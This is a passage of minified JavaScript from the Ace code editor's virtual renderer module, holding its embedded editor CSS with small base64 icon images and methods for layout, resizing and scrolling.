t===undefined&&(this.charSizes[e]=this.$measureCharWidth(e)/this.$characterSize.width),t},this.destroy=function(){clearInterval(this.$pollSizeChangesTimer),this.el&&this.el.parentNode&&this.el.parentNode.removeChild(this.el)}}).call(f.prototype)}),ace.define(\"ace/virtual_renderer\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/dom\",\"ace/config\",\"ace/lib/useragent\",\"ace/layer/gutter\",\"ace/layer/marker\",\"ace/layer/text\",\"ace/layer/cursor\",\"ace/scrollbar\",\"ace/scrollbar\",\"ace/renderloop\",\"ace/layer/font_metrics\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/dom\"),s=e(\"./config\"),o=e(\"./lib/useragent\"),u=e(\"./layer/gutter\").Gutter,a=e(\"./layer/marker\").Marker,f=e(\"./layer/text\").Text,l=e(\"./layer/cursor\").Cursor,c=e(\"./scrollbar\").HScrollBar,h=e(\"./scrollbar\").VScrollBar,p=e(\"./renderloop\").RenderLoop,d=e(\"./layer/font_metrics\").FontMetrics,v=e(\"./lib/event_emitter\").EventEmitter,m='.ace_editor {position: relative;overflow: hidden;font: 12px/normal \\'Monaco\\', \\'Menlo\\', \\'Ubuntu Mono\\', \\'Consolas\\', \\'source-code-pro\\', monospace;direction: ltr;}.ace_scroller {position: absolute;overflow: hidden;top: 0;bottom: 0;background-color: inherit;-ms-user-select: none;-moz-user-select: none;-webkit-user-select: none;user-select: none;cursor: text;}.ace_content {position: absolute;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;min-width: 100%;}.ace_dragging .ace_scroller:before{position: absolute;top: 0;left: 0;right: 0;bottom: 0;content: \\'\\';background: rgba(250, 250, 250, 0.01);z-index: 1000;}.ace_dragging.ace_dark .ace_scroller:before{background: rgba(0, 0, 0, 0.01);}.ace_selecting, .ace_selecting * {cursor: text !important;}.ace_gutter {position: absolute;overflow : hidden;width: auto;top: 0;bottom: 0;left: 0;cursor: default;z-index: 4;-ms-user-select: none;-moz-user-select: none;-webkit-user-select: none;user-select: none;}.ace_gutter-active-line {position: absolute;left: 0;right: 0;}.ace_scroller.ace_scroll-left {box-shadow: 17px 0 16px -16px rgba(0, 0, 0, 0.4) inset;}.ace_gutter-cell {padding-left: 19px;padding-right: 6px;background-repeat: no-repeat;}.ace_gutter-cell.ace_error {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAABOFBMVEX/////////QRswFAb/Ui4wFAYwFAYwFAaWGAfDRymzOSH/PxswFAb/SiUwFAYwFAbUPRvjQiDllog5HhHdRybsTi3/Tyv9Tir+Syj/UC3////XurebMBIwFAb/RSHbPx/gUzfdwL3kzMivKBAwFAbbvbnhPx66NhowFAYwFAaZJg8wFAaxKBDZurf/RB6mMxb/SCMwFAYwFAbxQB3+RB4wFAb/Qhy4Oh+4QifbNRcwFAYwFAYwFAb/QRzdNhgwFAYwFAbav7v/Uy7oaE68MBK5LxLewr/r2NXewLswFAaxJw4wFAbkPRy2PyYwFAaxKhLm1tMwFAazPiQwFAaUGAb/QBrfOx3bvrv/VC/maE4wFAbRPBq6MRO8Qynew8Dp2tjfwb0wFAbx6eju5+by6uns4uH9/f36+vr/GkHjAAAAYnRSTlMAGt+64rnWu/bo8eAA4InH3+DwoN7j4eLi4xP99Nfg4+b+/u9B/eDs1MD1mO7+4PHg2MXa347g7vDizMLN4eG+Pv7i5evs/v79yu7S3/DV7/498Yv24eH+4ufQ3Ozu/v7+y13sRqwAAADLSURBVHjaZc/XDsFgGIBhtDrshlitmk2IrbHFqL2pvXf/+78DPokj7+Fz9qpU/9UXJIlhmPaTaQ6QPaz0mm+5gwkgovcV6GZzd5JtCQwgsxoHOvJO15kleRLAnMgHFIESUEPmawB9ngmelTtipwwfASilxOLyiV5UVUyVAfbG0cCPHig+GBkzAENHS0AstVF6bacZIOzgLmxsHbt2OecNgJC83JERmePUYq8ARGkJx6XtFsdddBQgZE2nPR6CICZhawjA4Fb/chv+399kfR+MMMDGOQAAAABJRU5ErkJggg==\");background-repeat: no-repeat;background-position: 2px center;}.ace_gutter-cell.ace_warning {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAmVBMVEX///8AAAD///8AAAAAAABPSzb/5sAAAAB/blH/73z/ulkAAAAAAAD85pkAAAAAAAACAgP/vGz/rkDerGbGrV7/pkQICAf////e0IsAAAD/oED/qTvhrnUAAAD/yHD/njcAAADuv2r/nz//oTj/p064oGf/zHAAAAA9Nir/tFIAAAD/tlTiuWf/tkIAAACynXEAAAAAAAAtIRW7zBpBAAAAM3RSTlMAABR1m7RXO8Ln31Z36zT+neXe5OzooRDfn+TZ4p3h2hTf4t3k3ucyrN1K5+Xaks52Sfs9CXgrAAAAjklEQVR42o3PbQ+CIBQFYEwboPhSYgoYunIqqLn6/z8uYdH8Vmdnu9vz4WwXgN/xTPRD2+sgOcZjsge/whXZgUaYYvT8QnuJaUrjrHUQreGczuEafQCO/SJTufTbroWsPgsllVhq3wJEk2jUSzX3CUEDJC84707djRc5MTAQxoLgupWRwW6UB5fS++NV8AbOZgnsC7BpEAAAAABJRU5ErkJggg==\");background-position: 2px center;}.ace_gutter-cell.ace_info {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAAAAAA6mKC9AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAAJ0Uk5TAAB2k804AAAAPklEQVQY02NgIB68QuO3tiLznjAwpKTgNyDbMegwisCHZUETUZV0ZqOquBpXj2rtnpSJT1AEnnRmL2OgGgAAIKkRQap2htgAAAAASUVORK5CYII=\");background-position: 2px center;}.ace_dark .ace_gutter-cell.ace_info {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAJFBMVEUAAAChoaGAgIAqKiq+vr6tra1ZWVmUlJSbm5s8PDxubm56enrdgzg3AAAAAXRSTlMAQObYZgAAAClJREFUeNpjYMAPdsMYHegyJZFQBlsUlMFVCWUYKkAZMxZAGdxlDMQBAG+TBP4B6RyJAAAAAElFTkSuQmCC\");}.ace_scrollbar {position: absolute;right: 0;bottom: 0;z-index: 6;}.ace_scrollbar-inner {position: absolute;cursor: text;left: 0;top: 0;}.ace_scrollbar-v{overflow-x: hidden;overflow-y: scroll;top: 0;}.ace_scrollbar-h {overflow-x: scroll;overflow-y: hidden;left: 0;}.ace_print-margin {position: absolute;height: 100%;}.ace_text-input {position: absolute;z-index: 0;width: 0.5em;height: 1em;opacity: 0;background: transparent;-moz-appearance: none;appearance: none;border: none;resize: none;outline: none;overflow: hidden;font: inherit;padding: 0 1px;margin: 0 -1px;text-indent: -1em;-ms-user-select: text;-moz-user-select: text;-webkit-user-select: text;user-select: text;white-space: pre!important;}.ace_text-input.ace_composition {background: inherit;color: inherit;z-index: 1000;opacity: 1;text-indent: 0;}.ace_layer {z-index: 1;position: absolute;overflow: hidden;word-wrap: normal;white-space: pre;height: 100%;width: 100%;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;pointer-events: none;}.ace_gutter-layer {position: relative;width: auto;text-align: right;pointer-events: auto;}.ace_text-layer {font: inherit !important;}.ace_cjk {display: inline-block;text-align: center;}.ace_cursor-layer {z-index: 4;}.ace_cursor {z-index: 4;position: absolute;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;border-left: 2px solid;transform: translatez(0);}.ace_slim-cursors .ace_cursor {border-left-width: 1px;}.ace_overwrite-cursors .ace_cursor {border-left-width: 0;border-bottom: 1px solid;}.ace_hidden-cursors .ace_cursor {opacity: 0.2;}.ace_smooth-blinking .ace_cursor {-webkit-transition: opacity 0.18s;transition: opacity 0.18s;}.ace_editor.ace_multiselect .ace_cursor {border-left-width: 1px;}.ace_marker-layer .ace_step, .ace_marker-layer .ace_stack {position: absolute;z-index: 3;}.ace_marker-layer .ace_selection {position: absolute;z-index: 5;}.ace_marker-layer .ace_bracket {position: absolute;z-index: 6;}.ace_marker-layer .ace_active-line {position: absolute;z-index: 2;}.ace_marker-layer .ace_selected-word {position: absolute;z-index: 4;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;}.ace_line .ace_fold {-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;display: inline-block;height: 11px;margin-top: -2px;vertical-align: middle;background-image:url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAJCAYAAADU6McMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAJpJREFUeNpi/P//PwOlgAXGYGRklAVSokD8GmjwY1wasKljQpYACtpCFeADcHVQfQyMQAwzwAZI3wJKvCLkfKBaMSClBlR7BOQikCFGQEErIH0VqkabiGCAqwUadAzZJRxQr/0gwiXIal8zQQPnNVTgJ1TdawL0T5gBIP1MUJNhBv2HKoQHHjqNrA4WO4zY0glyNKLT2KIfIMAAQsdgGiXvgnYAAAAASUVORK5CYII=\"),url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAA3CAYAAADNNiA5AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACJJREFUeNpi+P//fxgTAwPDBxDxD078RSX+YeEyDFMCIMAAI3INmXiwf2YAAAAASUVORK5CYII=\");background-repeat: no-repeat, repeat-x;background-position: center center, top left;color: transparent;border: 1px solid black;border-radius: 2px;cursor: pointer;pointer-events: auto;}.ace_dark .ace_fold {}.ace_fold:hover{background-image:url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAJCAYAAADU6McMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAJpJREFUeNpi/P//PwOlgAXGYGRklAVSokD8GmjwY1wasKljQpYACtpCFeADcHVQfQyMQAwzwAZI3wJKvCLkfKBaMSClBlR7BOQikCFGQEErIH0VqkabiGCAqwUadAzZJRxQr/0gwiXIal8zQQPnNVTgJ1TdawL0T5gBIP1MUJNhBv2HKoQHHjqNrA4WO4zY0glyNKLT2KIfIMAAQsdgGiXvgnYAAAAASUVORK5CYII=\"),url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAA3CAYAAADNNiA5AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACBJREFUeNpi+P//fz4TAwPDZxDxD5X4i5fLMEwJgAADAEPVDbjNw87ZAAAAAElFTkSuQmCC\");}.ace_tooltip {background-color: #FFF;background-image: -webkit-linear-gradient(top, transparent, rgba(0, 0, 0, 0.1));background-image: linear-gradient(to bottom, transparent, rgba(0, 0, 0, 0.1));border: 1px solid gray;border-radius: 1px;box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);color: black;max-width: 100%;padding: 3px 4px;position: fixed;z-index: 999999;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;cursor: default;white-space: pre;word-wrap: break-word;line-height: normal;font-style: normal;font-weight: normal;letter-spacing: normal;pointer-events: none;}.ace_folding-enabled > .ace_gutter-cell {padding-right: 13px;}.ace_fold-widget {-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;margin: 0 -12px 0 1px;display: none;width: 11px;vertical-align: top;background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42mWKsQ0AMAzC8ixLlrzQjzmBiEjp0A6WwBCSPgKAXoLkqSot7nN3yMwR7pZ32NzpKkVoDBUxKAAAAABJRU5ErkJggg==\");background-repeat: no-repeat;background-position: center;border-radius: 3px;border: 1px solid transparent;cursor: pointer;}.ace_folding-enabled .ace_fold-widget {display: inline-block;   }.ace_fold-widget.ace_end {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42m3HwQkAMAhD0YzsRchFKI7sAikeWkrxwScEB0nh5e7KTPWimZki4tYfVbX+MNl4pyZXejUO1QAAAABJRU5ErkJggg==\");}.ace_fold-widget.ace_closed {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAAGCAYAAAAG5SQMAAAAOUlEQVR42jXKwQkAMAgDwKwqKD4EwQ26sSOkVWjgIIHAzPiCgaqiqnJHZnKICBERHN194O5b9vbLuAVRL+l0YWnZAAAAAElFTkSuQmCCXA==\");}.ace_fold-widget:hover {border: 1px solid rgba(0, 0, 0, 0.3);background-color: rgba(255, 255, 255, 0.2);box-shadow: 0 1px 1px rgba(255, 255, 255, 0.7);}.ace_fold-widget:active {border: 1px solid rgba(0, 0, 0, 0.4);background-color: rgba(0, 0, 0, 0.05);box-shadow: 0 1px 1px rgba(255, 255, 255, 0.8);}.ace_dark .ace_fold-widget {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHklEQVQIW2P4//8/AzoGEQ7oGCaLLAhWiSwB146BAQCSTPYocqT0AAAAAElFTkSuQmCC\");}.ace_dark .ace_fold-widget.ace_end {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAH0lEQVQIW2P4//8/AxQ7wNjIAjDMgC4AxjCVKBirIAAF0kz2rlhxpAAAAABJRU5ErkJggg==\");}.ace_dark .ace_fold-widget.ace_closed {background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAAFCAYAAACAcVaiAAAAHElEQVQIW2P4//+/AxAzgDADlOOAznHAKgPWAwARji8UIDTfQQAAAABJRU5ErkJggg==\");}.ace_dark .ace_fold-widget:hover {box-shadow: 0 1px 1px rgba(255, 255, 255, 0.2);background-color: rgba(255, 255, 255, 0.1);}.ace_dark .ace_fold-widget:active {box-shadow: 0 1px 1px rgba(255, 255, 255, 0.2);}.ace_fold-widget.ace_invalid {background-color: #FFB4B4;border-color: #DE5555;}.ace_fade-fold-widgets .ace_fold-widget {-webkit-transition: opacity 0.4s ease 0.05s;transition: opacity 0.4s ease 0.05s;opacity: 0;}.ace_fade-fold-widgets:hover .ace_fold-widget {-webkit-transition: opacity 0.05s ease 0.05s;transition: opacity 0.05s ease 0.05s;opacity:1;}.ace_underline {text-decoration: underline;}.ace_bold {font-weight: bold;}.ace_nobold .ace_bold {font-weight: normal;}.ace_italic {font-style: italic;}.ace_error-marker {background-color: rgba(255, 0, 0,0.2);position: absolute;z-index: 9;}.ace_highlight-marker {background-color: rgba(255, 255, 0,0.2);position: absolute;z-index: 8;}.ace_br1 {border-top-left-radius    : 3px;}.ace_br2 {border-top-right-radius   : 3px;}.ace_br3 {border-top-left-radius    : 3px; border-top-right-radius:    3px;}.ace_br4 {border-bottom-right-radius: 3px;}.ace_br5 {border-top-left-radius    : 3px; border-bottom-right-radius: 3px;}.ace_br6 {border-top-right-radius   : 3px; border-bottom-right-radius: 3px;}.ace_br7 {border-top-left-radius    : 3px; border-top-right-radius:    3px; border-bottom-right-radius: 3px;}.ace_br8 {border-bottom-left-radius : 3px;}.ace_br9 {border-top-left-radius    : 3px; border-bottom-left-radius:  3px;}.ace_br10{border-top-right-radius   : 3px; border-bottom-left-radius:  3px;}.ace_br11{border-top-left-radius    : 3px; border-top-right-radius:    3px; border-bottom-left-radius:  3px;}.ace_br12{border-bottom-right-radius: 3px; border-bottom-left-radius:  3px;}.ace_br13{border-top-left-radius    : 3px; border-bottom-right-radius: 3px; border-bottom-left-radius:  3px;}.ace_br14{border-top-right-radius   : 3px; border-bottom-right-radius: 3px; border-bottom-left-radius:  3px;}.ace_br15{border-top-left-radius    : 3px; border-top-right-radius:    3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}';i.importCssString(m,\"ace_editor.css\");var g=function(e,t){var n=this;this.container=e||i.createElement(\"div\"),this.$keepTextAreaAtCursor=!o.isOldIE,i.addCssClass(this.container,\"ace_editor\"),this.setTheme(t),this.$gutter=i.createElement(\"div\"),this.$gutter.className=\"ace_gutter\",this.container.appendChild(this.$gutter),this.scroller=i.createElement(\"div\"),this.scroller.className=\"ace_scroller\",this.container.appendChild(this.scroller),this.content=i.createElement(\"div\"),this.content.className=\"ace_content\",this.scroller.appendChild(this.content),this.$gutterLayer=new u(this.$gutter),this.$gutterLayer.on(\"changeGutterWidth\",this.onGutterResize.bind(this)),this.$markerBack=new a(this.content);var r=this.$textLayer=new f(this.content);this.canvas=r.element,this.$markerFront=new a(this.content),this.$cursorLayer=new l(this.content),this.$horizScroll=!1,this.$vScroll=!1,this.scrollBar=this.scrollBarV=new h(this.container,this),this.scrollBarH=new c(this.container,this),this.scrollBarV.addEventListener(\"scroll\",function(e){n.$scrollAnimation||n.session.setScrollTop(e.data-n.scrollMargin.top)}),this.scrollBarH.addEventListener(\"scroll\",function(e){n.$scrollAnimation||n.session.setScrollLeft(e.data-n.scrollMargin.left)}),this.scrollTop=0,this.scrollLeft=0,this.cursorPos={row:0,column:0},this.$fontMetrics=new d(this.container,500),this.$textLayer.$setFontMetrics(this.$fontMetrics),this.$textLayer.addEventListener(\"changeCharacterSize\",function(e){n.updateCharacterSize(),n.onResize(!0,n.gutterWidth,n.$size.width,n.$size.height),n._signal(\"changeCharacterSize\",e)}),this.$size={width:0,height:0,scrollerHeight:0,scrollerWidth:0,$dirty:!0},this.layerConfig={width:1,padding:0,firstRow:0,firstRowScreen:0,lastRow:0,lineHeight:0,characterWidth:0,minHeight:1,maxHeight:1,offset:0,height:1,gutterOffset:1},this.scrollMargin={left:0,right:0,top:0,bottom:0,v:0,h:0},this.$loop=new p(this.$renderChanges.bind(this),this.container.ownerDocument.defaultView),this.$loop.schedule(this.CHANGE_FULL),this.updateCharacterSize(),this.setPadding(4),s.resetOptions(this),s._emit(\"renderer\",this)};(function(){this.CHANGE_CURSOR=1,this.CHANGE_MARKER=2,this.CHANGE_GUTTER=4,this.CHANGE_SCROLL=8,this.CHANGE_LINES=16,this.CHANGE_TEXT=32,this.CHANGE_SIZE=64,this.CHANGE_MARKER_BACK=128,this.CHANGE_MARKER_FRONT=256,this.CHANGE_FULL=512,this.CHANGE_H_SCROLL=1024,r.implement(this,v),this.updateCharacterSize=function(){this.$textLayer.allowBoldFonts!=this.$allowBoldFonts&&(this.$allowBoldFonts=this.$textLayer.allowBoldFonts,this.setStyle(\"ace_nobold\",!this.$allowBoldFonts)),this.layerConfig.characterWidth=this.characterWidth=this.$textLayer.getCharacterWidth(),this.layerConfig.lineHeight=this.lineHeight=this.$textLayer.getLineHeight(),this.$updatePrintMargin()},this.setSession=function(e){this.session&&this.session.doc.off(\"changeNewLineMode\",this.onChangeNewLineMode),this.session=e,e&&this.scrollMargin.top&&e.getScrollTop()<=0&&e.setScrollTop(-this.scrollMargin.top),this.$cursorLayer.setSession(e),this.$markerBack.setSession(e),this.$markerFront.setSession(e),this.$gutterLayer.setSession(e),this.$textLayer.setSession(e);if(!e)return;this.$loop.schedule(this.CHANGE_FULL),this.session.$setFontMetrics(this.$fontMetrics),this.onChangeNewLineMode=this.onChangeNewLineMode.bind(this),this.onChangeNewLineMode(),this.session.doc.on(\"changeNewLineMode\",this.onChangeNewLineMode)},this.updateLines=function(e,t,n){t===undefined&&(t=Infinity),this.$changedLines?(this.$changedLines.firstRow>e&&(this.$changedLines.firstRow=e),this.$changedLines.lastRow<t&&(this.$changedLines.lastRow=t)):this.$changedLines={firstRow:e,lastRow:t};if(this.$changedLines.lastRow<this.layerConfig.firstRow){if(!n)return;this.$changedLines.lastRow=this.layerConfig.lastRow}if(this.$changedLines.firstRow>this.layerConfig.lastRow)return;this.$loop.schedule(this.CHANGE_LINES)},this.onChangeNewLineMode=function(){this.$loop.schedule(this.CHANGE_TEXT),this.$textLayer.$updateEolChar()},this.onChangeTabSize=function(){this.$loop.schedule(this.CHANGE_TEXT|this.CHANGE_MARKER),this.$textLayer.onChangeTabSize()},this.updateText=function(){this.$loop.schedule(this.CHANGE_TEXT)},this.updateFull=function(e){e?this.$renderChanges(this.CHANGE_FULL,!0):this.$loop.schedule(this.CHANGE_FULL)},this.updateFontSize=function(){this.$textLayer.checkForSizeChanges()},this.$changes=0,this.$updateSizeAsync=function(){this.$loop.pending?this.$size.$dirty=!0:this.onResize()},this.onResize=function(e,t,n,r){if(this.resizing>2)return;this.resizing>0?this.resizing++:this.resizing=e?1:0;var i=this.container;r||(r=i.clientHeight||i.scrollHeight),n||(n=i.clientWidth||i.scrollWidth);var s=this.$updateCachedSize(e,t,n,r);if(!this.$size.scrollerHeight||!n&&!r)return this.resizing=0;e&&(this.$gutterLayer.$padding=null),e?this.$renderChanges(s|this.$changes,!0):this.$loop.schedule(s|this.$changes),this.resizing&&(this.resizing=0),this.scrollBarV.scrollLeft=this.scrollBarV.scrollTop=null},this.$updateCachedSize=function(e,t,n,r){r-=this.$extraHeight||0;var i=0,s=this.$size,o={width:s.width,height:s.height,scrollerHeight:s.scrollerHeight,scrollerWidth:s.scrollerWidth};r&&(e||s.height!=r)&&(s.height=r,i|=this.CHANGE_SIZE,s.scrollerHeight=s.height,this.$horizScroll&&(s.scrollerHeight-=this.scrollBarH.getHeight()),this.scrollBarV.element.style.bottom=this.scrollBarH.getHeight()+\"px\",i|=this.CHANGE_SCROLL);if(n&&(e||s.width!=n)){i|=this.CHANGE_SIZE,s.width=n,t==null&&(t=this.$showGutter?this.$gutter.offsetWidth:0),this.gutterWidth=t,this.scrollBarH.element.style.left=this.scroller.style.left=t+\"px\",s.scrollerWidth=Math.max(0,n-t-this.scrollBarV.getWidth()),this.scrollBarH.element.style.right=this.scroller.style.right=this.scrollBarV.getWidth()+\"px\",this.scroller.style.bottom=this.scrollBarH.getHeight()+\"px\";if(this.session&&this.session.getUseWrapMode()&&this.adjustWrapLimit()||e)i|=this.CHANGE_FULL}return s.$dirty=!n||!r,i&&this._signal(\"resize\",o),i},this.onGutterResize=function(){var e=this.$showGutter?this.$gutter.offsetWidth:0;e!=this.gutterWidth&&(this.$changes|=this.$updateCachedSize(!0,e,this.$size.width,this.$size.height)),this.session.getUseWrapMode()&&this.adjustWrapLimit()?this.$loop.schedule(this.CHANGE_FULL):this.$size.$dirty?this.$loop.schedule(this.CHANGE_FULL):(this.$computeLayerConfig(),this.$loop.schedule(this.CHANGE_MARKER))},this.adjustWrapLimit=function(){var e=this.$size.scrollerWidth-this.$padding*2,t=Math.floor(e/this.characterWidth);return this.session.adjustWrapLimit(t,this.$showPrintMargin&&this.$printMarginColumn)},this.setAnimatedScroll=function(e){this.setOption(\"animatedScroll\",e)},this.getAnimatedScroll=function(){return this.$animatedScroll},this.setShowInvisibles=function(e){this.setOption(\"showInvisibles\",e)},this.getShowInvisibles=function(){return this.getOption(\"showInvisibles\")},this.getDisplayIndentGuides=function(){return this.getOption(\"displayIndentGuides\")},this.setDisplayIndentGuides=function(e){this.setOption(\"displayIndentGuides\",e)},this.setShowPrintMargin=function(e){this.setOption(\"showPrintMargin\",e)},this.getShowPrintMargin=function(){return this.getOption(\"showPrintMargin\")},this.setPrintMarginColumn=function(e){this.setOption(\"printMarginColumn\",e)},this.getPrintMarginColumn=function(){return this.getOption(\"printMarginColumn\")},this.getShowGutter=function(){return this.getOption(\"showGutter\")},this.setShowGutter=function(e){return this.setOption(\"showGutter\",e)},this.getFadeFoldWidgets=function(){return this.getOption(\"fadeFoldWidgets\")},this.setFadeFoldWidgets=function(e){this.setOption(\"fadeFoldWidgets\",e)},this.setHighlightGutterLine=function(e){this.setOption(\"highlightGutterLine\",e)},this.getHighlightGutterLine=function(){return this.getOption(\"highlightGutterLine\")},this.$updateGutterLineHighlight=function(){var e=this.$cursorLayer.$pixelPos,t=this.layerConfig.lineHeight;if(this.session.getUseWrapMode()){var n=this.session.selection.getCursor();n.column=0,e=this.$cursorLayer.getPixelPosition(n,!0),t*=this.session.getRowLength(n.row)}this.$gutterLineHighlight.style.top=e.top-this.layerConfig.offset+\"px\",this.$gutterLineHighlight.style.height=t+\"px\"},this.$updatePrintMargin=function(){if(!this.$showPrintMargin&&!this.$printMarginEl)return;if(!this.$printMarginEl){var e=i.createElement(\"div\");e.className=\"ace_layer ace_print-margin-layer\",this.$printMarginEl=i.createElement(\"div\"),this.$printMarginEl.className=\"ace_print-margin\",e.appendChild(this.$printMarginEl),this.content.insertBefore(e,this.content.firstChild)}var t=this.$printMarginEl.style;t.left=this.characterWidth*this.$printMarginColumn+this.$padding+\"px\",t.visibility=this.$showPrintMargin?\"visible\":\"hidden\",this.session&&this.session.$wrap==-1&&this.adjustWrapLimit()},this.getContainerElement=function(){return this.container},this.getMouseEventTarget=function(){return this.scroller},this.getTextAreaContainer=function(){return this.container},this.$moveTextAreaToCursor=function(){if(!this.$keepTextAreaAtCursor)return;var e=this.layerConfig,t=this.$cursorLayer.$pixelPos.top,n=this.$cursorLayer.$pixelPos.left;t-=e.offset;var r=this.textarea.style,i=this.lineHeight;if(t<0||t>e.height-i){r.top=r.left=\"0\";return}var s=this.characterWidth;if(this.$composition){var o=this.textarea.value.replace(/^\\x01+/,\"\");s*=this.session.$getStringScreenWidth(o)[0]+2,i+=2}n-=this.scrollLeft,n>this.$size.scrollerWidth-s&&(n=this.$size.scrollerWidth-s),n+=this.gutterWidth,r.height=i+\"px\",r.width=s+\"px\",r.left=Math.min(n,this.$size.scrollerWidth-s)+\"px\",r.top=Math.min(t,this.$size.height-i)+\"px\"},this.getFirstVisibleRow=function(){return this.layerConfig.firstRow},this.getFirstFullyVisibleRow=function(){return this.layerConfig.firstRow+(this.layerConfig.offset===0?0:1)},this.getLastFullyVisibleRow=function(){var e=Math.floor((this.layerConfig.height+this.layerConfig.offset)/this.layerConfig.lineHeight);return this.layerConfig.firstRow-1+e},this.getLastVisibleRow=function(){return this.layerConfig.lastRow},this.$padding=null,this.setPadding=function(e){this.$padding=e,this.$textLayer.setPadding(e),this.$cursorLayer.setPadding(e),this.$markerFront.setPadding(e),this.$markerBack.setPadding(e),this.$loop.schedule(this.CHANGE_FULL),this.$updatePrintMargin()},this.setScrollMargin=function(e,t,n,r){var i=this.scrollMargin;i.top=e|0,i.bottom=t|0,i.right=r|0,i.left=n|0,i.v=i.top+i.bottom,i.h=i.left+i.right,i.top&&this.scrollTop<=0&&this.session&&this.session.setScrollTop(-i.top),this.updateFull()},this.getHScrollBarAlwaysVisible=function(){return this.$hScrollBarAlwaysVisible},this.setHScrollBarAlwaysVisible=function(e){this.setOption(\"hScrollBarAlwaysVisible\",e)},this.getVScrollBarAlwaysVisible=function(){return this.$vScrollBarAlwaysVisible},this.setVScrollBarAlwaysVisible=function(e){this.setOption(\"vScrollBarAlwaysVisible\",e)},this.$updateScrollBarV=function(){var e=this.layerConfig.maxHeight,t=this.$size.scrollerHeight;!this.$maxLines&&this.$scrollPastEnd&&(e-=(t-this.lineHeight)*this.$scrollPastEnd,this.scrollTop>e-t&&(e=this.scrollTop+t,this.scrollBarV.scrollTop=null)),this.scrollBarV.setScrollHeight(e+this.scrollMargin.v),this.scrollBarV.setScrollTop(this.scrollTop+this.scrollMargin.top)},this.$updateScrollBarH=function(){this.scrollBarH.setScrollWidth(this.layerConfig.width+2*this.$padding+this.scrollMargin.h),this.scrollBarH.setScrollLeft(this.scrollLeft+this.scrollMargin.left)},this.$frozen=!1,this.freeze=function(){this.$frozen=!0},this.unfreeze=function(){this.$frozen=!1},this.$renderChanges=function(e,t){this.$changes&&(e|=this.$changes,this.$changes=0);if(!this.session||!this.container.offsetWidth||this.$frozen||!e&&!t){this.$changes|=e;return}if(this.$size.$dirty)return this.$changes|=e,this.onResize(!0);this.lineHeight||this.$textLayer.checkForSizeChanges(),this._signal(\"beforeRender\");var n=this.layerConfig;if(e&this.CHANGE_FULL||e&this.CHANGE_SIZE||e&this.CHANGE_TEXT||e&this.CHANGE_LINES||e&this.CHANGE_SCROLL||e&this.CHANGE_H_SCROLL){e|=this.$computeLayerConfig();if(n.firstRow!=this.layerConfig.firstRow&&n.firstRowScreen==this.layerConfig.firstRowScreen){var r=this.scrollTop+(n.firstRow-this.layerConfig.firstRow)*this.lineHeight;r>0&&(this.scrollTop=r,e|=this.CHANGE_SCROLL,e|=this.$computeLayerConfig())}n=this.layerConfig,this.$updateScrollBarV(),e&this.CHANGE_H_SCROLL&&this.$updateScrollBarH(),this.$gutterLayer.element.style.marginTop=-n.offset+\"px\",this.content.style.marginTop=-n.offset+\"px\",this.content.style.width=n.width+2*this.$padding+\"px\",this.content.style.height=n.minHeight+\"px\"}e&this.CHANGE_H_SCROLL&&(this.content.style.marginLeft=-this.scrollLeft+\"px\",this.scroller.className=this.scrollLeft<=0?\"ace_scroller\":\"ace_scroller 